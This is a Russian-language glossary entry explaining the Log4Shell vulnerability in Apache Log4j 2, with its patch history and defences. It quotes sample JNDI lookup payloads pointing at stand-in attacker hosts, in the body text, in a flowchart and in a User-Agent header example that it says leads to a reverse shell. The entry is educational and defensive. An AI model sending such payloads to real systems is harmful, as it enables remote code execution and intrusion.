Skip to content
Vol. 1 · Ed. 2026
CyberGlossary
Entry № 704

Log4Shell (CVE-2021-44228)

ПроверилCybersecurity entrepreneur & security researcher

Что такое Log4Shell (CVE-2021-44228)?

Log4Shell (CVE-2021-44228)Критическая уязвимость удалённого выполнения кода в Apache Log4j 2, раскрытая в декабре 2021 года: для эксплуатации достаточно было залогировать строку JNDI-поиска.


Log4Shell — это уязвимость с оценкой CVSS 10.0 в Apache Log4j 2 (версии с 2.0-beta9 по 2.14.1), о которой сообщил в Apache Чэнь Чжаоцзюнь из Alibaba Cloud и которая была публично раскрыта 9 декабря 2021 года. Функция message lookup в Log4j вычисляла выражения ${...} внутри строк логов; значение ${jndi:ldap://attacker/x} заставляло JVM выполнить JNDI-поиск, загрузить удалённый Java-класс и десериализовать его — что приводило к удалённому выполнению кода. Поскольку Log4j встроен в бесчисленные Java-приложения и устройства, любое контролируемое атакующим значение, попадавшее в лог (User-Agent, поле поиска, имя файла и даже имя устройства iPhone), становилось триггером.

Установка патчей превратилась в многоэтапную гонку: 2.15.0 отключила lookups, но была неполной (CVE-2021-45046), 2.16.0 удалила message lookups, 2.17.0 устранила DoS (CVE-2021-45105), а 2.17.1 закрыла CVE-2021-44832 — это рекомендованный исправленный релиз для Java 8. Массовая эксплуатация началась в течение нескольких часов; CISA добавила уязвимость в каталог KEV, и ею пользовались группировки вымогателей, а также иранский государственный субъект, стоявший за вторжениями в сети США. Защита: обновление до 2.17.1+ (или 2.12.4 / 2.3.2 для более старой Java), установка log4j2.formatMsgNoLookups=true, удаление класса JndiLookup, блокировка исходящего трафика LDAP/RMI и использование SBOM для обнаружения каждой встроенной копии.

flowchart TD
  A[Атакующий] -->|"ввод: ${jndi:ldap://evil/x}"| B[Java-приложение логирует строку]
  B --> C[Log4j вычисляет lookup]
  C --> D[JNDI-запрос к LDAP-серверу атакующего]
  D --> E[Сервер возвращает URL вредоносного Java-класса]
  E --> F[JVM скачивает & десериализует класс]
  F --> G[Удалённое выполнение кода]

Примеры

  1. 01

    Отправка заголовка User-Agent: ${jndi:ldap://attacker.com/x} в Java-приложение и получение reverse shell.

  2. 02

    Эксплуатация внутреннего Java-сервиса через залогированное вредоносное значение, введённое в поле имени пользователя.

Частые вопросы

Что такое Log4Shell (CVE-2021-44228)?

Критическая уязвимость удалённого выполнения кода в Apache Log4j 2, раскрытая в декабре 2021 года: для эксплуатации достаточно было залогировать строку JNDI-поиска. Относится к категории Уязвимости в кибербезопасности.

Что означает Log4Shell (CVE-2021-44228)?

Критическая уязвимость удалённого выполнения кода в Apache Log4j 2, раскрытая в декабре 2021 года: для эксплуатации достаточно было залогировать строку JNDI-поиска.

Как защититься от Log4Shell (CVE-2021-44228)?

Защита от Log4Shell (CVE-2021-44228) обычно сочетает технические меры и операционные практики, как описано в определении выше.

Какие есть другие названия Log4Shell (CVE-2021-44228)?

Распространённые альтернативные названия: CVE-2021-44228, Уязвимость Log4j.

Связанные термины

См. также